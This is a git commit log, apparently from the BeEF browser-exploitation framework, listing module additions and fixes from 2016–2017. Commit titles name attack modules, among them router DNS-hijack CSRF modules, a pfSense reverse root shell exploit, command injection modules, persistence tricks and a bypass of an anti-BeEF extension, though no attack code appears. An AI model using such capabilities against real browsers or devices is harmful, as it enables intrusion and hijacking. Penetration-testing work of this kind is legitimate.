Brendan Coles
dd47856c91 Add Detect Coupon Printer module 2017-05-20 17:37:44 +00:00
Brendan Coles
1dfc03e6e7 Add popunder persistence module with popup blocker bypass for IE 2017-05-20 14:18:35 +00:00
Brendan Coles
7ef36039a4 Add detection for WebGL support to BrowserDetails 2017-05-13 06:36:58 +00:00
Brendan Coles
2c43328614 Add detection for Web Worker support to BrowserDetails 2017-05-13 06:18:20 +00:00
Brendan Coles
9a9b826364 Update browser details from module post_execute 2017-05-12 14:24:14 +00:00
Brendan Coles
363802b028 Move require statements to core/loader 2017-05-12 13:48:25 +00:00
Brendan Coles
64adb6f7fa Downgrade therubyracer dependency for linux to 0.12.2 2017-05-07 04:16:47 +00:00
Brendan Coles
3a499c514a Add support for Chrome 57 and 58 2017-05-04 13:46:00 +00:00
Brendan Coles
6664467c56 Add Detect MIME Types module 2017-04-29 15:06:34 +00:00
Brendan Coles
923f1d9797 Add Fingerprint Browser module using FingerprintJS2 library 2017-04-29 14:19:19 +00:00
Brendan Coles
686d202efa Update links on demo pages 2017-04-28 11:37:33 +00:00
Brendan Coles
4c1d9111a9 Add support for Firefox 52 and 53 2017-04-28 09:05:50 +00:00
Brendan Coles
a2dbb6f7e2 Merge pull request #1393 from clod81/fix_jsonp_persistence_html_payload
JSONP tempBody variable working again
2017-04-28 18:32:32 +10:00
Claudio Contin
318796b11c Make html tempBody variable working again 2017-04-28 20:18:55 +12:00
Brendan Coles
b65dec0449 Update AdminUI jQuery to 1.12.4 2017-04-27 11:42:00 +00:00
Brendan Coles
eb8964f3ca Add DNS REST examples 2017-04-27 11:23:14 +00:00
Brendan Coles
8b9e8f02d3 Strip Windows support from auto msfrpcd 2017-04-26 10:21:02 +00:00
Brendan Coles
34967f61e0 Ignore null objects for browser_type 2017-04-23 07:00:39 +00:00
Brendan Coles
de5c231d34 Convert query response to_s in BrowserDetails 2017-04-23 06:32:28 +00:00
Brendan Coles
572b2db906 Add tests for BrowserDetails model 2017-04-23 06:02:11 +00:00
Brendan Coles
21238254a3 Add functionality to update existing BrowserDetails keys 2017-04-23 06:00:57 +00:00
Brendan Coles
c3069601e8 Add debug output to modules 2017-04-23 03:58:44 +00:00
Brendan Coles
cc260598d3 Load URL from ui_base_path 2017-04-23 03:44:16 +00:00
Brendan Coles
5c406b8d4f Add unless is_non_empty_string guard clause to browser filters 2017-04-23 03:25:36 +00:00
Brendan Coles
117091178f Convert nil values to an empty string in BrowserDetails.set method 2017-04-23 03:24:31 +00:00
Brendan Coles
9ad5ddf534 Add method to delete response from requester history 2017-04-23 01:45:30 +00:00
Brendan Coles
9b57435d5e Add placeholder for requester REST endpoints 2017-04-23 01:43:57 +00:00
Brendan Coles
1ae56a9797 Update Ruby version to 2.3.0 and add NodeJS 2017-04-22 23:42:35 +00:00
Brendan Coles
46a395e044 Add WiPG-1000 Command Injection exploit module 2017-04-22 23:34:07 +00:00
Brendan Coles
f9f30eb49d Force UTF-8 encoding for zombie HTTP headers 2017-04-22 03:29:49 +00:00
Brendan Coles
c191a50f3c Force UTF-8 encoding for requester responses - Fix #1340 2017-04-22 02:10:48 +00:00
Brendan Coles
127b1d56e7 Add UTF-8 characters to demo pages for testing purposes 2017-04-22 01:52:13 +00:00
Brendan Coles
275153be38 Remove todo note 2017-04-20 19:56:31 +00:00
Brendan Coles
9a97ffed6e Pad bottom of generic pretty theft popup 2017-04-19 13:37:48 +00:00
Brendan Coles
91bfb06f8c Add check for mixed content requests in beef.net.forge_request 2017-04-16 17:17:34 +00:00
Brendan Coles
530962ea29 Cleanup and fix proxy/requester 2017-04-16 14:29:28 +00:00
Brendan Coles
08f5cf3e29 Cleanup and fix proxy/requester 2017-04-16 14:28:45 +00:00
Brendan Coles
5a8e0d855c Re-add therubyracer gem dependency for Linux 2017-04-16 11:36:08 +00:00
Brendan Coles
9a817c2271 Escape apostrophes in module user-input 2017-04-16 10:30:13 +00:00
Brendan Coles
9d20a68b4e Merge pull request #1381 from clod81/persistence_jsonp_service_worker
Persistence through unfiltered JSONP callback and service worker
2017-04-16 20:15:05 +10:00
Claudio Contin
defdadb673 encodeURIComponent instead of requiring user to input already encoded string
use beef.net.hook instead of hook.js
specify only chrome supported, and ALL others not
2017-04-16 15:28:48 +12:00
Brendan Coles
f7a26556e9 Update hook jQuery to 1.12.4 - Fix #1133 2017-04-15 10:50:26 +00:00
Brendan Coles
afa7739482 Add debugging output to requester 2017-04-15 10:27:10 +00:00
Brendan Coles
4edab3e961 Save data to ~/.beef - Fix #1254 2017-04-15 09:56:01 +00:00
Brendan Coles
55797a7b17 Add error message for unsupported browsers 2017-04-13 17:43:50 +00:00
Brendan Coles
b08b7d935a Remove old jQuery 2017-04-13 17:42:46 +00:00
Brendan Coles
8cb5cd3484 Remove old jQuery from modules 2017-04-13 10:00:20 +00:00
Brendan Coles
1334456d9e Remove xmlrpc/client from core/loader 2017-04-12 12:04:11 +00:00
Brendan Coles
dba31548aa Add nokogiri to Gemfile 2017-04-12 12:03:44 +00:00
Brendan Coles
fdda8b5d05 Update dependencies 2017-04-12 09:44:40 +00:00
Brendan Coles
fc2a93ac13 Update rubyzip gem (CVE-2017-5946) 2017-04-12 09:19:11 +00:00
Brendan Coles
6b1d610c1f Add ARG-W4 ADSL Router DNS Hijack CSRF module 2017-04-12 04:26:56 +00:00
Brendan Coles
d3d41301a3 Update Tenda ADSL Router DNS Hijack module 2017-04-12 04:25:53 +00:00
Brendan Coles
880f63a9ff Warn on startup if default credentials in use 2017-04-10 18:51:31 +00:00
Brendan Coles
d7fd3acf23 Update minimum supported Ruby version to 2.2 2017-04-10 18:43:16 +00:00
Brendan Coles
a03164f212 Add click event handler to popunder window module 2017-04-10 18:30:26 +00:00
Brendan Coles
5d927d9d1b Add rake to Gemfile test group 2017-04-10 16:46:31 +00:00
Brendan Coles
1a68c165bb Add missing libraries to beefjs - Part of #1323 2017-04-10 16:46:01 +00:00
Brendan Coles
6839374199 Replace Detect Software module 2017-04-09 17:19:20 +00:00
Brendan Coles
5f412678c2 Merge pull request #1385 from almostwhitehat/fix-chunked-encoding
Omit Transfer-Encoding header in proxy responses
2017-04-10 03:03:52 +10:00
Brendan Coles
475f8395d7 Remove Fingerprint OS module 2017-04-09 17:11:20 +00:00
Matt Metzger
f0fdc3d537 Omit Transfer-Encoding header in proxy responses
Beef automatically calculates and inserts a Content-Length header when
sending proxy responses. If the Transfer-Encoding header is not
stripped, many browsers treat this as a Content-Length of 0, thus
rendering an empty body.
2017-04-09 01:20:32 -04:00
Brendan Coles
a083fc2b63 Add Detect Users module 2017-04-07 08:33:44 +00:00
Brendan Coles
50855d8f10 Add Detect Local Drives module 2017-04-07 08:32:01 +00:00
ccontin
40492399cf change description slightly 2017-04-03 16:15:52 +12:00
ccontin
8d685771fa add ability to return some fake HTML, instead of a blank page 2017-04-03 16:12:23 +12:00
ccontin
32454004e2 first POC working 2017-04-03 15:49:19 +12:00
Brendan Coles
b039b4a1d1 Merge pull request #1379 from dpatrongomez/master
Improved design
2017-04-02 23:50:40 +10:00
Daniel Patrón Gómez
bc2626767c Update LinkedIn logo 2017-03-26 14:37:44 +02:00
Daniel Patrón Gómez
0ce9807335 Improved design 2017-03-26 14:26:31 +02:00
Brendan Coles
089bacd0a2 Remove therubyracer dependency 2017-03-15 14:54:40 +00:00
Brendan Coles
6ca5341eb1 Merge pull request #1373 from gusbo/patch-1
Update command.js
2017-03-07 00:50:54 +11:00
Gustav Boström
a4fb447153 Update command.js 2017-03-06 13:56:07 +01:00
Gustav Boström
d58064443a Update command.js
Remove the trailing });. The Get Cookie-module stopped working for me, but works again after I remove the last line which seems lika a bug to me.
I get an error "Unexpected token }" in the Chrome JavaScript-console of the hooked browser when I invoke the module from the BeeF- UI.
2017-03-06 13:37:14 +01:00
Brendan Coles
7e8e22a9c3 Merge pull request #1370 from nstarke/branches/netgear-dgn2000
Adding Netgear DGN2000 WAN Remote Management CSRF Module
2017-02-26 12:40:07 +11:00
Brendan Coles
4384ba1563 Merge pull request #1368 from nstarke/branches/dlink_dgs_110-fdb-whitelist
Adding DLink DGS 1100 FDB Whitelist module
2017-02-26 12:38:17 +11:00
Brendan Coles
0bcf0b473d Merge pull request #1367 from nstarke/branches/dlink_dgs_1110-device-reset
Adding DLink DGS 1100 Switch Device Reset CSRF Module
2017-02-26 12:38:04 +11:00
Brendan Coles
9203bb1e32 Merge pull request #1369 from nstarke/branches/dlink_dgs_1100-port-mirroring
Adding DLink DGS 1100 Port Mirroring module
2017-02-26 12:37:59 +11:00
Nicholas Starke
ab0c0278c6 Adding Netgear DGN2000 WAN Remote Management CSRF Module 2017-02-25 09:52:22 -06:00
Nicholas Starke
f3b797475c Adjusting to use XsrfForm 2017-02-25 08:08:37 -06:00
Nicholas Starke
558646bd85 Adjusting to use XsrfForm 2017-02-25 08:03:45 -06:00
Nicholas Starke
a71030efa6 Converting to use XsrfForm 2017-02-25 07:51:37 -06:00
Nicholas Starke
e62c8b3316 Adding DLink DGS 1100 Port Mirroring module 2017-02-23 19:26:43 -06:00
Nicholas Starke
37b83e3a38 Adding DLink DGS 110 DB Whitelist module 2017-02-23 19:23:45 -06:00
Nicholas Starke
14d60c57d8 Adding DLink DGS 1100 Switch Device Reset CSRF Module 2017-02-23 19:20:13 -06:00
Brendan Coles
915869f23a Change 'working' to 'user_notify' 2017-02-22 19:08:56 +00:00
Brendan Coles
e3a934af12 Move exploits/pfsense module to exploits/pfsense/pfsense_reverse_root_shell_csrf 2017-02-22 15:15:02 +00:00
Brendan Coles
1b5885db34 Merge pull request #1366 from yanncam/pfSense_2.3.2_RCE
Add pfSense <= 2.3.2 Reverse root shell via CSRF/XSS exploit module
2017-02-23 01:40:23 +11:00
yanncam
2f632bcbcd Add pfSense <= 2.3.2 Reverse root shell via CSRF/XSS exploit module 2017-02-22 14:38:43 +01:00
Brendan Coles
0527be31dd Merge pull request #1364 from bcoles/invisible_htmlfile_activex
Add Invisible HTMLFile ActiveX persistence module
2017-02-22 01:33:59 +11:00
Brendan Coles
fdd1a6775b Update config.yaml 2017-02-22 01:32:52 +11:00
Brendan Coles
32bbe32183 Update command.js 2017-02-22 01:32:15 +11:00
Brendan Coles
c20ba2a75d Add Invisible HTMLFile ActiveX persistence module 2017-02-21 14:37:19 +00:00
Brendan Coles
86f6d3d2f8 Add support for Firefox 51 2017-02-08 12:13:09 +00:00
Brendan Coles
74de77e157 Updated Copyright information 2017-02-05 05:39:31 +00:00
Brendan Coles
59fecdcce3 Test if supplied IP address is valid dot-decimal format 2017-02-05 05:28:30 +00:00
Brendan Coles
06263790c8 Test if supplied IP address is valid dot-decimal format 2017-02-04 22:20:48 +00:00
Brendan Coles
ce849dc12a Merge pull request #1352 from benichmt1/get_cookie-status
Get cookie ARE status update
2017-02-04 11:21:35 +11:00
Michael Benich
0b606f8d79 Send status messages 2017-02-03 16:45:12 -05:00
Michael Benich
408e18c0c6 Add json for get_cookie 2017-02-03 15:32:07 -05:00
Brendan Coles
8820ddc294 Store NetworkHost :lastseen as integer - Fix #1348 2017-02-03 19:53:44 +00:00
Brendan Coles
3758b7df28 Merge pull request #1338 from curea/master
Updated modules to reference beef_host and beef_port
2017-01-23 04:38:28 +11:00
Brendan Coles
9106baaa57 Re-add assets for MS12-004 exploit 2017-01-17 21:49:41 +00:00
Brendan Coles
e5f6ff3b11 Add 'Spoof Address Bar (data URL)' module 2017-01-16 11:07:00 +00:00
Aaron Cure
345a3cebcd Updated modules to reference beef_host and beef_port 2017-01-05 15:38:58 -07:00
Wade Alcorn
91cc7ed873 Updated Copyright information 2016-12-29 15:50:13 +10:00
Brendan Coles
ebc5466594 Merge pull request #1331 from TheJambo/master
Minor updates
2016-12-27 17:02:42 +11:00
TheJambo
cb3a62ba5d Update WelcomeTab.js 2016-12-22 09:32:35 +00:00
TheJambo
6c103cfac7 Updated to include IPEC 2016-12-22 09:14:11 +00:00
TheJambo
6f5a63266e Minor Text Fix 2016-12-22 08:54:42 +00:00
TheJambo
d72d3c828b Minor Text Fix 2016-12-22 08:40:45 +00:00
TheJambo
180969ca3c Minor Text Fix 2016-12-22 08:36:35 +00:00
TheJambo
efa0f47ed3 Minor Text Fix 2016-12-22 08:34:48 +00:00
TheJambo
b533bca1de Minor text changes
Wrong version of Discreet/Discrete.
2016-12-22 08:28:09 +00:00
TheJambo
519920c4ed Minor text changes 2016-12-22 08:25:25 +00:00
Brendan Coles
1277791f78 Merge pull request #1327 from bennelson1234/Add-support-to-detect-Chrome-v50-to-v56
Added support of Chrome 52 to 56
2016-12-03 14:18:43 +11:00
bennelson1234
827682c0ef Added support of Chrome 52 to 56
Added support to detect the desktop and iOS Chrome browser versions 52 through to 56
2016-12-03 11:14:31 +13:00
Brendan Coles
e95ef8f5d4 Add support for Firefox 50 2016-11-27 08:52:29 +00:00
Brendan Coles
f50f289838 Merge pull request #1316 from phosphore/master
add Avast (ASW) detection to the detect_av module
2016-10-26 02:50:37 +11:00
phosphore
e10135e782 add Avast (ASW) detection to the detect_av module 2016-10-25 15:49:53 +02:00
Brendan Coles
7319868956 Merge pull request #1315 from phosphore/master
add detect_antivirus module, merging the old bitdefender module
2016-10-25 21:47:48 +11:00
phosphore
95ebb206b3 improve detect_av with BeEF API and compatibility with old IE versions 2016-10-25 11:41:57 +02:00
phosphore
9bc0fe73f1 add detect_antivirus module, merging the old bitdefender module 2016-10-24 17:44:03 +02:00
Brendan Coles
f20528e13b Update minimum required version of Ruby to 2.1 2016-10-09 20:11:24 +00:00
Brendan Coles
6d7f799abf Add confirmation to SSL certificate generation 2016-10-09 19:40:11 +00:00
Brendan Coles
3884bd10c0 Add Rake task to re-generate SSL/TLS certificate 2016-10-09 01:23:34 +00:00
Brendan Coles
0238134048 Add Exper EWM-01 ADSL Router DNS Hijack module 2016-10-08 23:30:31 +00:00
Brendan Coles
35e9face4f Add D-Link DSL-526B ADSL Router DNS Hijack module 2016-10-08 23:30:07 +00:00
Brendan Coles
791c15c77a Add D-Link DSL-2780B ADSL Router DNS Hijack module 2016-10-08 23:29:44 +00:00
Brendan Coles
b932cefeef Add Comtrend CT Series Router DNS Hijack module 2016-10-08 23:29:18 +00:00
Brendan Coles
7c7cd0a320 Add ASUS DSL-X11 ADSL Router DNS Hijack module 2016-10-08 23:28:50 +00:00
Brendan Coles
4762d20ac4 Add Tenda ADSL Modem 963281TAN Router DNS Hijack module 2016-10-08 19:38:46 +00:00
Brendan Coles
17eadd007e Add Planet VDR-300NU ADSL Router DNS Hijack module 2016-10-08 19:38:30 +00:00
Brendan Coles
a69ccff8e8 Add PIKATEL Router DNS Hijack module 2016-10-08 19:38:08 +00:00
Brendan Coles
5cbf0eb794 Add Inteno EG101R1 VoIP Router DNS Hijack module 2016-10-08 19:37:44 +00:00
Brendan Coles
ff83871d44 Add console events to event logger 2016-10-08 18:27:19 +00:00
Brendan Coles
ce3261900e Update butcher demo to use jQuery 1.12.4 2016-10-07 21:11:05 +00:00
Brendan Coles
2a5d878eee Use relative script URL for demos 2016-10-07 21:04:25 +00:00
Brendan Coles
69062f5761 Change 'submit' to 'Submit' automatically for createIframeXsrfForm() inputs - Fix #1117 2016-10-07 16:10:56 +00:00
Brendan Coles
baf45ca275 Merge pull request #1303 from yanncam/ZeroShell_2.0RC2_modules
Adding ZeroShell 2.0RC2 modules to BeEF
2016-10-08 02:25:54 +11:00
Brendan Coles
fbac8cd55a Update PR #1301 2016-10-07 05:20:49 +00:00
Brendan Coles
d47c69abb3 Merge pull request #1301 from wireghoul/master
FarLinX X25 auth RCE module
2016-10-07 16:17:02 +11:00
Yann CAM
f8afc3e326 Add some beef.debug() in all ZeroShell's modules 2016-10-06 13:47:19 +02:00
Yann CAM
528e00bf6e Add beef.are.status_success(), beef.are.status_error() or beef.are.status_unknown() status code returned to each beef.net.send() for ZeroShell's modules. 2016-10-06 10:33:17 +02:00
Yann CAM
861e846dbe Update hookuri auto-generated and generic (proto / host / port / hook name).
Replace tab with space.
2016-10-05 14:20:12 +02:00
Brendan Coles
4a5c2f0c44 Update banners for public IP/port 2016-10-04 22:28:47 +00:00
Brendan Coles
d11f041963 Update config comments 2016-10-04 22:26:51 +00:00
Brendan Coles
b27166c8aa Merge pull request #1310 from bcoles/hijack_opener
Update Hijack Opener Window module to use server-side iframe loader
2016-10-05 03:18:17 +11:00
Brendan Coles
2a952e99ee Update Hijack Opener Window module to use server-side iframe loader 2016-10-04 16:11:38 +00:00
Yann CAM
11a25de6da Adding ZeroShell 2.0RC2 modules to BeEF (RCE / Password and token disclosure) - Update Internal Network fingerprinting 2016-09-26 16:31:04 +02:00
Brendan Coles
c2482f0fe6 Add support for Firefox 49 2016-09-21 12:16:51 +00:00
Eldar Marcussen
b7ed74199c FarLinX X25 auth RCE module 2016-09-15 02:24:18 -04:00
Brendan Coles
32d2226991 Merge pull request #1298 from TannerFilip/master
"it's dependencies" should be "its"
2016-09-05 18:52:08 +10:00
Tanner Filip
f7dbab0120 fix typo 2016-09-04 12:23:35 -05:00
Brendan Coles
bee53cfede Add support for Firefox 48 2016-09-03 16:36:32 +00:00
Brendan Coles
0909998929 Merge pull request #1295 from bcoles/hijack_opener
Add Hijack Opener module
2016-09-02 02:21:12 +10:00
Brendan Coles
49c3df1e44 Add Hijack Opener module 2016-09-01 16:19:33 +00:00
Brendan Coles
d3a30a9b18 Add timeout to MSF RPC initial connection 2016-07-04 10:53:37 +00:00
antisnatchor
9e3385cf4c Had to publish the 3th bypass for Vegan anti-BeEF Chrome extension from Cylance. 2016-07-04 09:14:31 +02:00
Brendan Coles
5fb1fa34b6 Remove BozoCrack module 2016-06-20 23:48:35 +00:00
Brendan Coles
0234c548e5 Add NoSleep module 2016-06-14 19:30:56 +00:00
Brendan Coles
045aabb9bf Fix Safari version detection 2016-06-14 19:29:07 +00:00
Brendan Coles
1d5a82745e Remove Google search module 2016-06-12 14:35:41 +00:00
Brendan Coles
ef6d5ae431 Add support for Firefox 47 2016-06-05 12:05:09 +00:00
Brendan Coles
a278cdae2a Add support for Chrome 50 and 51 2016-06-01 08:06:52 +00:00
Brendan Coles
4e741a067b Add bind_cached 2016-05-28 05:44:04 +00:00
Brendan Coles
16da11e7df Play sound in AdminUI upon new hooked browser 2016-05-15 01:26:06 +00:00
Brendan Coles
8ebf26390c Merge pull request #1267 from bcoles/text_to_voice
Add Text to Voice module
2016-05-15 06:28:12 +10:00
Brendan Coles
5e91dfb9d7 Add Text to Voice module 2016-05-14 20:22:51 +00:00
Brendan Coles
ad21b4bb93 Update ISSUE_TEMPLATE.md 2016-05-13 10:57:40 +10:00
Brendan Coles
ea8281ccb2 Remove console shell from config 2016-05-09 12:03:46 +00:00
Brendan Coles
4aa5a87908 Update Play Sound module 2016-05-05 13:59:00 +00:00
Brendan Coles
3af579bcd5 Add module fake_notification_ie - Fix #1093 2016-05-05 09:24:35 +00:00
Brendan Coles
d15f016336 Rename module fake_notification_ie to fake_notification 2016-05-05 09:21:26 +00:00
Brendan Coles
0e0a0fd077 Replace console.log with beef.debug 2016-05-02 15:17:38 +00:00
Brendan Coles
0be18e57a0 Merge pull request #1259 from mgeeky/get_snapshot
Four additional ARE rules.
2016-05-02 21:32:16 +10:00
mgeeky
f206be9233 Revert "Revert "Added four new ARE rules""
This reverts commit 0da8696248.
2016-05-02 13:08:16 +02:00
Brendan Coles
af737f80ec Merge pull request #1258 from mgeeky/get_snapshot
Spyder_Eye got updated. #2
2016-05-02 18:55:04 +10:00
mgeeky
0da8696248 Revert "Added four new ARE rules"
This reverts commit 1449913c65.
2016-05-02 10:14:49 +02:00
mgeeky
1449913c65 Added four new ARE rules 2016-05-02 10:11:25 +02:00
mgeeky
b383dc2108 Pollished the code a little 2016-05-02 09:57:31 +02:00
mgeeky
2cf6504912 Revert "Added three new Autorun rules"
This reverts commit 010867cf24.
2016-05-02 09:43:26 +02:00
mgeeky
4058381f9a Revert "Added record_snapshots autorun rule"
This reverts commit abdb5462cf.
2016-05-02 09:43:12 +02:00
Brendan Coles
f3da655876 Merge pull request #1257 from bcoles/master
Update Gemfile.lock
2016-04-30 00:14:51 +10:00
Brendan Coles
3a287ba808 Add RVM 2.3.0 to .travis.yml 2016-04-29 14:17:11 +00:00
Brendan Coles
d61f988733 Update Gemfile.lock 2016-04-29 14:16:49 +00:00
Brendan Coles
0e8e07668f Use base64 for module inputs 2016-04-23 06:24:55 +00:00
Brendan Coles
849a3c47e1 Re-enable DNS unit tests 2016-04-22 08:49:48 +00:00
Brendan Coles
b2c4b40fe8 Re-enable DNS integration tests 2016-04-22 06:29:20 +00:00
Brendan Coles
dbccb111e5 Validate empty DNS REST API JSON keys 2016-04-22 06:27:05 +00:00
Brendan Coles
cbf6b97a47 Load extensions from 2016-04-22 02:51:39 +00:00
Brendan Coles
8139488482 Add core/extensions test cases 2016-04-22 02:51:06 +00:00
Brendan Coles
0d11678ed0 Update Gemfile.lock 2016-04-22 02:07:21 +00:00
Brendan Coles
13668617a9 Remove em-websocket gem version requirement 2016-04-22 01:50:56 +00:00
Brendan Coles
c49119df7f Require rest-client >= 1.8.0 for tests 2016-04-22 01:39:23 +00:00
Brendan Coles
13b5d7f83d Update Ruby version to 2.3.0 2016-04-21 23:21:32 +00:00
Brendan Coles
02978fdbf7 Disable DNS extension by default 2016-04-21 02:33:53 +00:00
mgeeky
bf523dc57a Revert "Added get-token.sh utility useful when doing some manual RESTful api calls"
This reverts commit 89d11819ee.
2016-04-18 11:15:59 +02:00
mgeeky
89d11819ee Added get-token.sh utility useful when doing some manual RESTful api calls 2016-04-18 11:14:53 +02:00
mgeeky
abdb5462cf Added record_snapshots autorun rule 2016-04-18 11:11:42 +02:00
mgeeky
3edd291064 Forgot about scaling desired delay between consecutive snapshots... 2016-04-18 10:29:18 +02:00
Brendan Coles
624d81749e Add Ping Sweep module 2016-04-17 14:07:55 +00:00
Brendan Coles
7d4d188bb5 Rename Ping Sweep module to Ping Sweep (FF) 2016-04-15 17:08:22 +00:00
mgeeky
ffdb942cf1 Added hyphen to separate ip and date in screenshot filename 2016-04-15 10:09:21 +02:00
mgeeky
6cc5a822d7 Applied some of @bcoles ideas regarding post_execute handler, also added beef.debug and parseInt base conversion 2016-04-15 10:03:37 +02:00
mgeeky
ae2488e7bd Working on repeated snapshot taking. At the moment, this will result in multiple screenshots being stored in the file system, but the module will present only the most recent one in WebGUI. Which is not exactly what I wanted to accomplish 2016-04-14 16:14:33 +02:00
mgeeky
ad4cb31864 Oops, forgot to remove those debugging alerts 2016-04-14 15:35:25 +02:00
mgeeky
d58f979395 Update html2canvas component in the spyder_eye module from 0.4 to 0.5.0-alpha1 which resulted in much more detailed screenshot, as can be seen in: http://imgur.com/a/Sm9OG . Also, armored a bit the code running in the zombie' browser. Branch is called 'get_snapshot' as I didn't know that there is already a module utilizing terrific html2canvas. 2016-04-14 15:31:08 +02:00
mgeeky
9ebb5abe18 Added exception handling in some subtle conditions when Javascript minifying could fail (as it happened to me once)w 2016-04-13 21:42:32 +02:00
mgeeky
010867cf24 Added three new Autorun rules 2016-04-13 21:38:25 +02:00
Brendan Coles
51b13fdffb Merge pull request #1246 from spaze/new_google_logo
Update Google logo and Gmail favicon for the September 2015 version
2016-04-12 12:54:45 +10:00
Michal Špaček
ec81edf542 Update Google logo and Gmail favicon for the September 2015 version
The login box grayscale logo is gone completely because I couldn't find a newer version of it
2016-04-12 02:53:34 +02:00
Brendan Coles
47f7812df4 Clean up basic demo page 2016-04-10 17:27:18 +00:00
Brendan Coles
cabb01875f Update supported browsers 2016-04-10 16:59:27 +00:00
Brendan Coles
31b3346fcb Add ARE status 2016-04-10 16:03:13 +00:00
Brendan Coles
254032594f Add signature 2016-04-10 15:34:33 +00:00
Brendan Coles
7b04358871 Add support for HTTPS 2016-04-10 15:32:34 +00:00
Brendan Coles
8cc5e8b236 Allow comma separated list of IPs and ranges as input 2016-04-09 06:36:28 +00:00
Brendan Coles
fa1e32c046 Use SWFObject library for cross_origin_scanner_flash 2016-04-08 16:25:52 +00:00
Brendan Coles
9a1eccd066 Remove example module 2016-04-07 14:03:07 +00:00
Brendan Coles
371f27e5e1 Merge pull request #1241 from mgeeky/master
Couple of fixes & improvements
2016-04-07 23:42:19 +10:00
mgeeky
261c9ee5aa Changed default custom domains variable to a safe-for-work one. :-) 2016-04-07 14:25:22 +02:00
mgeeky
d5e041e3e3 Added 'top' ports scannig set according to Fyoodr's nmap-realted resarch (gathered from nmap-services) 2016-04-06 12:03:58 +02:00
Brendan Coles
313d6593ca Update supported browsers 2016-04-05 15:47:00 +00:00
Brendan Coles
c9a623cd9f Use parseInt for integer options 2016-04-05 15:45:10 +00:00
Brendan Coles
c1558878aa Add ARE rules for scanning common LAN IPs 2016-04-04 13:17:10 +00:00
Brendan Coles
969db8b2ea Add client-side debugging 2016-04-04 10:36:40 +00:00
Brendan Coles
37f536fc12 Add wait option to Flash scanner 2016-04-04 10:15:41 +00:00
Brendan Coles
7b96212876 Add wait option to CORS scanner 2016-04-04 10:02:49 +00:00
antisnatchor
3bcf1b66cd Pad timestamp values date in client-side logging 2016-04-04 11:16:11 +02:00
antisnatchor
b1d48b7492 Additiona nil check when triggering ARE rules on WS. 2016-04-04 11:14:57 +02:00
antisnatchor
dd0a10bda5 Use anonymous function in setTimeout when executing sequential ARE rules. Added ARE rule for lan fingerprint using common IPs. 2016-04-04 10:20:09 +02:00
antisnatchor
8bcae3e30b Revmoed commented testing line 2016-04-03 15:18:56 +02:00
antisnatchor
458985cf84 Merge branch 'master' of https://github.com/beefproject/beef 2016-04-03 15:16:30 +02:00
antisnatchor
c700bb3013 Added ws_connect_timeout option to delay of 500 ms the establishment of the WS channel. This is needed to wait for browser fingerprinting to finish, in order to have all the info needed for triggering ARE rules using WS channel. 2016-04-03 15:16:14 +02:00
Brendan Coles
899d566fe7 Add timestamp to client-side debug messages 2016-04-02 17:04:32 +00:00
Brendan Coles
127942b60d Decrease workers and timeout 2016-04-02 13:32:04 +00:00
Brendan Coles
6162b6eb41 Merge branch 'master' of https://github.com/beefproject/beef 2016-04-02 11:49:12 +00:00
antisnatchor
309bbe4859 Merge branch 'master' of https://github.com/beefproject/beef 2016-04-02 13:06:31 +02:00
antisnatchor
edb44644fc Now ARE rules are triggered also when using the WebSocket channel. 2016-04-02 13:05:58 +02:00
antisnatchor
4f5e7ddfb6 Renamed ARE rule. 2016-04-02 12:27:13 +02:00
Brendan Coles
c3b88ce832 Add additional paths for WPAD 2016-04-02 08:06:36 +00:00
Brendan Coles
d390f24730 Add Tor Browser fingerprint 2016-04-02 07:48:05 +00:00
Brendan Coles
d0255d6e9c Add timeout option to beef.net.cors.request 2016-04-02 07:04:40 +00:00
Brendan Coles
ffb15892a4 Add timeout option to beef.net.cors.request 2016-04-02 06:46:23 +00:00
Brendan Coles
26e1672227 Use default options 2016-04-02 06:14:35 +00:00
antisnatchor
41c9589ef1 Removed rules enabled by mistake. 2016-04-01 17:36:44 +02:00
antisnatchor
c091ff9bc2 Merge branch 'master' of https://github.com/beefproject/beef 2016-04-01 14:14:56 +02:00
antisnatchor
5e7342e1bd Added Brave browser detection. 2016-04-01 14:14:13 +02:00
mgeeky
ede4ce46d6 Extend Get Visited Domains module's description to include format of the visited domains text box 2016-03-31 12:29:08 +02:00
mgeeky
617a30f80e Added functionality to specify custom static resources paths for Get Visited Domains module. 2016-03-31 12:25:27 +02:00
antisnatchor
c1137b5cc8 Merge pull request #1230 from derrend/patch-1
Update INSTALL.txt with Ubuntu instructions
2016-03-31 10:18:37 +02:00
antisnatchor
e772e683fd Issue #1214. Now command module post_execute is honoured also with WebSockets channel. 2016-03-31 09:56:40 +02:00
antisnatchor
9905756c0a Additional fix related to #1210 (removing leading/trailing doubel quotes from the command results if channel is WebSocket) 2016-03-31 08:03:06 +02:00
antisnatchor
39a010fa63 Fixes #1210 2016-03-30 12:30:11 +02:00
Brendan Coles
9d1b645fdb Update ISSUE_TEMPLATE.md 2016-03-29 20:34:25 +11:00
Brendan Coles
08a83437a0 Add GitHub issue template 2016-03-29 09:28:18 +00:00
Brendan Coles
962684b99e Add support for Firefox 46 2016-03-29 09:04:02 +00:00
Brendan Coles
98873e44a6 Add .travis.yml 2016-03-26 01:13:49 +00:00
Brendan Coles
0efd7bbaab Update Gemfile.lock 2016-03-26 01:10:23 +00:00
Brendan Coles
2e8f9de9f5 Update issues URL 2016-03-26 01:08:35 +00:00
Brendan Coles
802e470dba Merge pull request #1234 from cybernet/patch-1
tiny change
2016-03-26 12:04:24 +11:00
cybernet
47c3a5e1a4 tiny change 2016-03-26 02:26:59 +02:00
Brendan Coles
43a797b36a Re-order BeEF::Filters.is_valid_ip arguments with optional last 2016-03-25 20:58:17 +00:00
Brendan Coles
4dde171c4f Use base64 for module inputs instead of gsub 2016-03-21 19:41:02 +00:00
Brendan Coles
b6f9daf780 Merge pull request #1232 from mgeeky/master
Bug fixes + additional options
2016-03-22 05:56:53 +11:00
Brendan Coles
d8ce153bb4 Add Netgear DGN2200 Command Execution module 2016-03-20 21:30:20 +00:00
Brendan Coles
264c203a7e Change BeEF::Filters::is_valid_yes_no to be case insensitive 2016-03-20 16:33:57 +00:00
Brendan Coles
6eccbbe1a6 Rename docs to doc 2016-03-20 16:31:14 +00:00
Brendan Coles
2fde87a19b Update comments 2016-03-20 16:29:56 +00:00
Brendan Coles
9d8d1c28a1 Add rdoc rake task 2016-03-20 15:38:35 +00:00
Brendan Coles
4409599d1a Add support for Firefox 45 2016-03-16 14:50:06 +00:00
antisnatchor
c5bcba37f2 Verify if ARE module exec_order and exec_delay values are consistent with ARE modules number. 2016-03-14 16:51:06 +01:00
antisnatchor
